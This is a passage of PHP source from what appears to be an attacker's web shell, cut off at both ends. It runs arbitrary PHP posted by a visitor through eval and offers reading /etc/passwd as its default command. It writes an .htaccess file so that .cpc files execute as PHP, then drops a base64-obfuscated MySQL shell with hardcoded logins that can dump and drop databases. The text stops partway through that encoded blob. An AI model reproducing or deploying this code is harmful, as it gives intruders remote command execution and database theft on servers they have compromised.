if(isset($_POST[\'submitcmd\'])) {
	echo eval(magicboom($_POST[\'cmd\']));
}
else echo "echo file_get_contents(\'/etc/passwd\');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php } 

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sql\'))
    {
    ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>+--==[ Mysql Interface ]==--+</font></b><br><br>";
  mkdir(\'mysql\', 0755);
    chdir(\'mysql\');
        $akses = ".htaccess";
        $buka_lah = "$akses";
        $buka = fopen ($buka_lah , \'w\') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";    
        fwrite ( $buka , $metin ) ;
        fclose ($buka);
$sqlshell = \'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFs